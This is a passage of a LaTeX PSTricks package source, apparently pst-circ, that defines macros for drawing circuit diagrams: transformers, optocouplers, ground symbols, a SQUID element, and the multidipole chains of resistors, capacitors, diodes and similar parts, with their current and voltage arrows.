/Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /dx X2 X1 sub def - /dy Y2 Y1 sub def - dx 2 div X1 add - dy 2 div Y1 add ){Center@} - \pst@getcoor{Center@}\pst@tempd - \pnode(!% - \pst@tempd /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - dx abs 0.01 lt{ - X3 Y4 - }{dy abs 0.01 lt { - X4 Y3 - }{/m dy dx div def - /x Y4 Y3 sub m X3 mul add X4 m div add m 1 m div add div def - x dup X3 sub m mul Y3 add - } ifelse - }ifelse){@tempNodeB} - \pnode(!% - /Alpha dy dx atan def - /dx Alpha sin 0.25 mul def - /dy Alpha cos 0.25 mul def - Y3 Y2 gt {X4 dx sub Y4 dy add}{X4 dx add Y4 dy sub}ifelse ){@tempNodeC} - \psline[arrows=->,arrowsize=0.2](#3)(@tempNodeB)(@tempNodeC) - \pcline[linestyle=none](#1)(#3)% for the endarrows - \end@ClosedObj% - \ignorespaces% -} -% -% quadrupoles -% -\def\transformer{\pst@object{transformer}} -\def\transformer@i(#1)(#2)(#3)(#4)#5{% - \addbefore@par{dimen=middle,arm=0}% - \begin@ClosedObj% - \if\psk@Trafo@iprimary@label\@empty\else - \psset{transformeriprimary=true}% - \fi - \if\psk@Trafo@isecondary@label\@empty\else - \psset{transformerisecondary=true}% - \fi - \ifPst@intensity - \psset{transformeriprimary=true,transformerisecondary=true}% - \fi - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pst@getcoor{#4}\pst@tempd - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - \pst@tempc /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - /XC X1 X2 lt {X2} {X1} ifelse X3 X4 lt {X3} {X4} ifelse add 2 div def - /YC Y1 Y3 lt {Y1} {Y3} ifelse Y2 Y4 lt {Y2} {Y4} ifelse add 2 div def - XC YC){C@} - \rput(C@){\pst@draw@transformer} - \ncangle[arrows=-,arm=0.5,angleB=90]{#1}{inup@} - \ifPst@Trafo@iprimary - \ncput[npos=2.5,nrot=:U]{\psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@Trafo@iprimary@label} - \fi - \ncangle[arrows=-,arm=0.5,angleB=-90]{#2}{indown@} - \ncangle[arrows=-,arm=0.5,angleB=90]{#3}{outup@} - \ifPst@Trafo@iprimary - \ncput[npos=2.5,nrot=:U]{\psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@Trafo@isecondary@label} - \fi - \ncangle[arrows=-,arm=0.5,angleB=-90]{#4}{outdown@} - \ncline[arrows=-,linestyle=none,fillstyle=none]{indown@}{inup@} - \naput{\psk@Trafo@primary@label} - \ncline[arrows=-,linestyle=none,fillstyle=none]{outdown@}{outup@} - \nbput{\psk@Trafo@secondary@label} - \ncline[arrows=-,linestyle=none,fillstyle=none]{indown@}{outdown@} - \nbput{#5} - \pcline[linestyle=none](#1)(#3)% for the end arrows - \pcline[linestyle=none](#2)(#4)% for the end arrows - \end@ClosedObj% - \ignorespaces% -} -% -% Start hv 2003-07-23 -\def\optoCoupler{\pst@object{optoCoupler}} -\def\optoCoupler@i(#1)(#2)(#3)(#4)#5{% - \addbefore@par{dimen=middle,arm=0}% - \begin@ClosedObj% - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pst@getcoor{#4}\pst@tempd - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - \pst@tempc /Y4 exch \pst@number\psyunit div def - /X4 exch \pst@number\psxunit div def - /XC X1 X2 lt {X2} {X1} ifelse X3 X4 lt {X3} {X4} ifelse add 2 div def - /YC Y1 Y3 lt {Y1} {Y3} ifelse Y2 Y4 lt {Y2} {Y4} ifelse add 2 div def - XC YC){C@} - \rput(C@){\pst@draw@optoCoupler} - \ncangle[arrows=-,arm=0.5,angleB=90]{#1}{inup@} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#2}{indown@} - \ncangle[arrows=-,arm=0.5,angleB=90]{#3}{outup@} - \ncangle[arrows=-,arm=0.5,angleB=-90]{#4}{outdown@} - \ncline[arrows=-,linestyle=none,fillstyle=none]{indown@}{outdown@} - \nbput{#5} - \pcline[linestyle=none](#1)(#3)% for the end arrows - \pcline[linestyle=none](#2)(#4)% for the end arrows - \end@ClosedObj% - \ignorespaces% -} -% -% The logical circuits part -% -\def\logic{\@ifnextchar[{\pst@draw@logic}{\pst@draw@logic[]}} -% -\def\ground{\@ifnextchar[{\pst@ground}{\pst@ground[]}} -\def\pst@ground[#1]{% - \@ifnextchar({\pst@groundi[#1]{0}}{\pst@groundi[#1]}% -} -\def\pst@groundi[#1]#2(#3){{% - \psset{#1}% - \rput{#2}(#3){% - \psframe[fillstyle=vlines,% - linestyle=none,% - fillstyle=none,% - hatchwidth=0.5\pslinewidth](-0.5,-0.7)(0.5,-0.5) - \psline[linewidth=1.5\pslinewidth](-0.5,-0.5)(0.5,-0.5) - \psline(0,0)(0,-0.5) - \ifPst@connectingdot - \pscircle*(0,0){2\pslinewidth} - \fi - } - \ignorespaces% -}} -% -% end hv 2003-08-29 -% -%% SQUID def added 2009-02-18 Amit Finkler -\def\SQUID{\@ifnextchar[{\pst@SQUID}{\pst@SQUID[]}} -\def\pst@SQUID[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@SQUID}\ignorespaces} -% -\def\pst@multidipole@SQUID{\@ifnextchar[{\pst@multidipole@SQUID@}{\pst@multidipole@SQUID@[]}} -% -\def\pst@multidipole@SQUID@[#1]#2{% - \expandafter\def\csname pst@circ@tmp@\number\pst@circ@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@circ@parallel\aftergroup\advance\aftergroup\pst@circ@count@i\aftergroup\ - m@ne\fi}% - \pst@circ@count@ii=\pst@circ@count@i% - \advance\pst@circ@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\SQUID[#1]% - (! X@\the\pst@circ@count@i\space Y@\the\pst@circ@count@i)% - (! X@\the\pst@circ@count@ii\space Y@\the\pst@circ@count@ii)% - {\noexpand\csname pst@circ@tmp@\number\pst@circ@count@iii\endcsname}% - }% - \pst@multidipole@} -% -\def\pst@draw@SQUID{% - \pscircle[linewidth=1.5\pslinewidth](0,0){0.5} - \psline(0.1,-0.6)(-0.1,-0.4) - \psline(0.1,-0.4)(-0.1,-0.6) - \psline(0.1,0.6)(-0.1,0.4) - \psline(0.1,0.4)(-0.1,0.6) - \pnode(-0.5,0){dipole@1} - \pnode(0.5,0){dipole@2}% -} -%% End of SQUID def - -% -%%%%%%%%%%%%% -\def\multidipole{\@ifnextchar[{\pst@multidipole}{\pst@multidipole[]}} -\def\pst@multidipole[#1](#2)(#3)#4{% - \psset{#1}% - \pst@getcoor{#2}\pst@tempA - \pst@getcoor{#3}\pst@tempB - \pst@Verb{% - gsave - STV CP T - \pst@tempA /Ybegin@ exch \pst@number\psyunit div def - /Xbegin@ exch \pst@number\psxunit div def - \pst@tempB /Yend@ exch \pst@number\psyunit div def - /Xend@ exch \pst@number\psxunit div def - /Xbegin Xbegin@ Xend@ lt {Xbegin@} {Xend@} ifelse def - /Xend Xbegin@ Xend@ lt {Xend@} {Xbegin@} ifelse def - /Ybegin Ybegin@ Yend@ lt {Ybegin@} {Yend@} ifelse def - /Yend Ybegin@ Yend@ lt {Yend@} {Ybegin@} ifelse def - /@angle Yend Ybegin sub Xend Xbegin sub Atan def - /X@length Xend Xbegin sub Yend Ybegin sub Pyth @angle cos mul Xend@ Xbegin@ lt {neg} if def - /Y@length Xend Xbegin sub Yend Ybegin sub Pyth @angle sin mul Yend@ Ybegin@ lt {neg} if def - grestore}% - \pst@count@i=\z@ - \let\pst@multidipole@output\@empty - \ifx\resistor #4\let\pscirc@next\pst@multidipole@resistor% 1 - \else\ifx\RFLine #4\let\pscirc@next\pst@multidipole@RFLine - \else\ifx\capacitor #4\let\pscirc@next\pst@multidipole@capacitor - \else\ifx\battery #4\let\pscirc@next\pst@multidipole@battery - \else\ifx\coil #4\let\pscirc@next\pst@multidipole@coil - \else\ifx\Ucc #4\let\pscirc@next\pst@multidipole@Ucc - \else\ifx\Icc #4\let\pscirc@next\pst@multidipole@Icc - \else\ifx\switch #4\let\pscirc@next\pst@multidipole@switch - \else\ifx\diode #4\let\pscirc@next\pst@multidipole@diode - \else\ifx\Zener #4\let\pscirc@next\pst@multidipole@Zener% 10 - \else\ifx\wire #4\let\pscirc@next\pst@multidipole@wire - \else\ifx\lamp #4\let\pscirc@next\pst@multidipole@lamp - \else\ifx\circledipole#4\let\pscirc@next\pst@multidipole@circledipole - \else\ifx\LED #4\let\pscirc@next\pst@multidipole@LED - \else\ifx\dashpot #4\let\pscirc@next\pst@multidipole@dashpot %15 - \else\ifx\filter #4\let\pscirc@next\pst@multidipole@filter - \else\ifx\isolator #4\let\pscirc@next\pst@multidipole@isolator% - \else\ifx\freqmult #4\let\pscirc@next\pst@multidipole@freqmult% - \else\ifx\phaseshifter#4\let\pscirc@next\pst@multidipole@phaseshifter% - \else\ifx\vco #4\let\pscirc@next\pst@multidipole@vco % 20 - \else\ifx\amplifier #4\let\pscirc@next\pst@multidipole@amplifier% - \else\ifx\detector #4\let\pscirc@next\pst@multidipole@detector% 22 - \else\ifx\SQUID #4\let\pscirc@next\pst@multidipole@SQUID% 23 - \else\let\pscirc@next\ignorespaces - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi% 1..10 - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi%11..20 - \fi\fi\fi% 21..23 - \advance\pst@count@i\@ne - \advance\pst@count@iii\@ne - \pscirc@next} -% -\def\pst@multidipole@#1{% - \ifx\resistor#1\let\pscirc@next\pst@multidipole@resistor %1 - \else\ifx\RFLine#1\let\pscirc@next\pst@multidipole@RFLine - \else\ifx\capacitor#1\let\pscirc@next\pst@multidipole@capacitor - \else\ifx\battery#1\let\pscirc@next\pst@multidipole@battery - \else\ifx\coil#1\let\pscirc@next\pst@multidipole@coil %5 - \else\ifx\Ucc #1\let\pscirc@next\pst@multidipole@Ucc - \else\ifx\Icc #1\let\pscirc@next\pst@multidipole@Icc - \else\ifx\switch #1\let\pscirc@next\pst@multidipole@switch %off - \else\ifx\diode#1\let\pscirc@next\pst@multidipole@diode - \else\ifx\Zener #1\let\pscirc@next\pst@multidipole@Zener %10 - \else\ifx\wire #1\let\pscirc@next\pst@multidipole@wire - \else\ifx\lamp #1\let\pscirc@next\pst@multidipole@lamp - \else\ifx\circledipole#1\let\pscirc@next\pst@multidipole@circledipole - \else\ifx\LED #1\let\pscirc@next\pst@multidipole@LED - \else\ifx\dashpot #1\let\pscirc@next\pst@multidipole@dashpot %15 - \else\ifx\filter #1\let\pscirc@next\pst@multidipole@filter - \else\ifx\isolator #1\let\pscirc@next\pst@multidipole@isolator - \else\ifx\freqmult #1\let\pscirc@next\pst@multidipole@freqmult% - \else\ifx\phaseshifter#1\let\pscirc@next\pst@multidipole@phaseshifter% - \else\ifx\vco #1\let\pscirc@next\pst@multidipole@vco % 20 - \else\ifx\amplifier#1\let\pscirc@next\pst@multidipole@amplifier% - \else\ifx\detector #1\let\pscirc@next\pst@multidipole@detector% 22 - \else\ifx\SQUID #1\let\pscirc@next\pst@multidipole@SQUID% 23 - \else\let\pscirc@next\ignorespaces\pst@multidipole@output - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi - \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi - \fi\fi\fi - \advance\pst@count@i\@ne - \advance\pst@count@iii\@ne - \pscirc@next -} -% -\def\pst@multidipole@resistor{\@ifnextchar[{\pst@multidipole@resistor@}{\pst@multidipole@resistor@[]}} -% -\def\pst@multidipole@resistor@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\resistor[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@RFLine{\@ifnextchar[{\pst@multidipole@RFLine@}{\pst@multidipole@RFLine@[]}} -\def\pst@multidipole@RFLine@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\RFLine[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% -% pd start ==================================================== -\def\pst@multidipole@dashpot{\@ifnextchar[{\pst@multidipole@dashpot@}{\pst@multidipole@dashpot@[]}} -% -\def\pst@multidipole@dashpot@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i% - \advance\pst@count@ii\@ne% - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0% - \pst@multidipole@def@coor% - \noexpand\dashpot[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname}% - }% - \pst@multidipole@ -} -% pd end ====================================================== -\def\pst@multidipole@capacitor{\@ifnextchar[{\pst@multidipole@capacitor@}{\pst@multidipole@capacitor@[]}} -% -\def\pst@multidipole@capacitor@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\capacitor[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@battery{\@ifnextchar[{\pst@multidipole@battery@}{\pst@multidipole@battery@[]}} -% -\def\pst@multidipole@battery@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\battery[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@coil{\@ifnextchar[{\pst@multidipole@coil@}{\pst@multidipole@coil@[]}} -% -\def\pst@multidipole@coil@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\coil[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@Ucc{\@ifnextchar[{\pst@multidipole@Ucc@}{\pst@multidipole@Ucc@[]}} -% -\def\pst@multidipole@Ucc@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\Ucc[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@Icc{\@ifnextchar[{\pst@multidipole@Icc@}{\pst@multidipole@Icc@[]}} -% -\def\pst@multidipole@Icc@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\Icc[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@switch{\@ifnextchar[{\pst@multidipole@switch@}{\pst@multidipole@switch@[]}} -% -\def\pst@multidipole@switch@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\switch[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@diode{\@ifnextchar[{\pst@multidipole@diode@}{\pst@multidipole@diode@[]}} -% -\def\pst@multidipole@diode@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\diode[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@Zener{\@ifnextchar[{\pst@multidipole@Zener@}{\pst@multidipole@Zener@[]}} -\def\pst@multidipole@Zener@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\Zener[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@lamp{\@ifnextchar[{\pst@multidipole@lamp@}{\pst@multidipole@lamp@[]}} -% -\def\pst@multidipole@lamp@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\lamp[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@circledipole{\@ifnextchar[{\pst@multidipole@circledipole@}{\pst@multidipole@circledipole@[]}} -% -\def\pst@multidipole@circledipole@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\circledipole[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@LED{\@ifnextchar[{\pst@multidipole@LED@}{\pst@multidipole@LED@[]}} -% -\def\pst@multidipole@LED@[#1]#2{% - \expandafter\def\csname pst@tmp@\number\pst@count@iii\endcsname{#2}% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\LED[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)% - (! X@\the\pst@count@ii\space Y@\the\pst@count@ii)% - {\noexpand\csname pst@tmp@\number\pst@count@iii\endcsname} - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@wire{\@ifnextchar[{\pst@multidipole@wire@}{\pst@multidipole@wire@[]}} -% -\def\pst@multidipole@wire@[#1]{% - {\psset{#1}% - \ifPst@parallel\aftergroup\advance\aftergroup\pst@count@i\aftergroup\m@ne\fi}% - \pst@count@ii=\pst@count@i - \advance\pst@count@ii\@ne - \toks0\expandafter{\pst@multidipole@output}% - \edef\pst@multidipole@output{% - \the\toks0 - \pst@multidipole@def@coor - \noexpand\wire[#1]% - (! X@\the\pst@count@i\space Y@\the\pst@count@i)(! X@\the\pst@count@ii\space Y@\the\pst@count@ii) - }% - \pst@multidipole@ -} -% -\def\pst@multidipole@def@coor{% - \noexpand\pst@Verb{% - /X@\the\pst@count@i\space \the\pst@count@i\space 1 sub X@length \noexpand\the\pst@count@i\space div mul Xbegin@ add def - /Y@\the\pst@count@i\space \the\pst@count@i\space 1 sub Y@length \noexpand\the\pst@count@i\space div mul Ybegin@ add def - /X@\the\pst@count@ii\space \the\pst@count@i\space X@length \noexpand\the\pst@count@i\space div mul Xbegin@ add def - /Y@\the\pst@count@ii\space \the\pst@count@i\space Y@length \noexpand\the\pst@count@i\space div mul Ybegin@ add def - }% -\ignorespaces} -% -%%%%%%%%%%%%%%%%%%%%%%%% -% -\def\pst@draw@dipole#1#2#3#4#5{% suggestion by Alain Ristow - \psset{dimen=middle,#1}% - \if\psk@I@label\@empty\else\psset[pst-circ]{intensity=true}\fi - \if\psk@tension@label\@empty\else\psset[pst-circ]{tension=true}\fi - \ifx\psk@Dconvention\pst@Dconvention@generator - \Pst@Dconventiontrue - \else - \ifx\psk@Dconvention\pst@Dconvention@receptor\Pst@Dconventionfalse\fi - \fi - \pcline[arrowscale=1,arrows=-,linestyle=none,fillstyle=none](#2)(#3) - \ncput[nrot=:U]{\pnode{dipole@M}} - \ifPst@parallel - \pcline[arrows=-,linestyle=none,fillstyle=none](#2)(dipole@M) - \ncput[npos=\psk@parallel@sep]{\pnode{dipole@@1}} - \pcline[arrows=-,linestyle=none,fillstyle=none](#3)(dipole@M) - \ncput[npos=\psk@parallel@sep]{\pnode{dipole@@2}} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@parallel@arm](dipole@@1)(dipole@@2) - \ncput[npos=0]{\pnode{dipole@@@1}} - \ncput[npos=1]{\pnode{dipole@@@2}} - \ncput[nrot=:U]{#5} - \pcline[arrows=-](dipole@@1)(dipole@@@1) - \pcline[arrows=-](dipole@@@1)(dipole@1) - \pcline[arrows=-](dipole@2)(dipole@@@2) - \pcline[arrows=-](dipole@@@2)(dipole@@2) - \ifPst@parallel@node - \pscircle*(dipole@@1){2\pslinewidth} - \pscircle*(dipole@@2){2\pslinewidth} - \fi - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@label@offset](dipole@@@1)(dipole@@@2) - \ncput[nrot=\psk@label@angle]{#4} - \pst@intensity{dipole@@@1}{dipole@@@2} - \pst@tension{dipole@@@1}{dipole@@@2} - \else - \ncput[nrot=:U]{#5} - \pcline[arrowscale=1,arrows=-,linestyle=none,fillstyle=none,offset=\psk@label@offset](#2)(#3) - \ncput[nrot=\psk@label@angle]{#4} -%%%%% - \ifPst@inputarrow - \ifx\psk@Dinput\pst@Dinput@right - \pcline[fillstyle=none,arrows=-C](#2)(dipole@1) - \pcline[fillstyle=none,arrows=->,arrowinset=0](#3)(dipole@2) - \else - \pcline[fillstyle=none,arrows=->,arrowinset=0](#2)(dipole@1) - \pcline[fillstyle=none,arrows=C-](dipole@2)(#3) - \fi - \else - \pcline[arrowscale=1,fillstyle=none,arrows=-C](#2)(dipole@1) - \pcline[arrowscale=1,fillstyle=none,arrows=C-](dipole@2)(#3) - \fi - \pcline[fillstyle=none,linestyle=none](#2)(#3) -%%%%% - \pst@intensity{#2}{#3} - \pst@tension{#2}{#3} - \fi% -}% -% -\def\pst@intensity#1#2{% - \ifPst@intensity - \ifPst@directconvention - \pcline[arrows=-,linestyle=none,fillstyle=none](#1)(dipole@1) - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@I@label@offset](#1)(dipole@1) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \else - \pcline[arrows=-,linestyle=none,fillstyle=none](dipole@2)(#2) - \ncput[nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width]{<-}(-.1,0)(.1,0)} - \pcline[arrows=-,linestyle=none,fillstyle=none,offset=\psk@I@label@offset](dipole@2)(#2) - \ncput[nrot=\psk@label@angle]{\csname\psk@I@labelcolor\endcsname\psk@I@label} - \fi - \fi -} -% -\def\pst@tension#1#2{% - \ifPst@tension - \pcline[arrows=-,linestyle=none,fillstyle=none,% - offset=\psk@tension@offset](#1)(dipole@1) - \ncput[npos=.5]{\pnode{tension@1}} - \pcline[arrows=-,linestyle=none,fillstyle=none, - offset=-\psk@tension@offset](#2)(dipole@2) - \ncput[npos=.5]{\pnode{tension@2}} - \ifPst@directconvention - \ifPst@Dconvention - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{<-}(tension@1)(tension@2) - \else - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{->}(tension@1)(tension@2) - \fi - \else - \ifPst@Dconvention - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{->}(tension@1)(tension@2) - \else - \pcline[linecolor=\psk@tension@color, - linewidth=\psk@tension@width,arrowinset=0]{<-}(tension@1)(tension@2) - \fi - \fi - \pcline[arrows=-,linestyle=none,fillstyle=none,% - offset=\psk@tension@label@offset](dipole@1)(dipole@2) - \ncput[nrot=\psk@label@angle]{% - \csname\psk@tension@labelcolor\endcsname\psk@tension@label} - \fi -} -% -\def\pst@draw@resistor{% - \ifx\psk@Dstyle\pst@Dstyle@zigzag - \pnode(-0.75,0){dipole@1} - 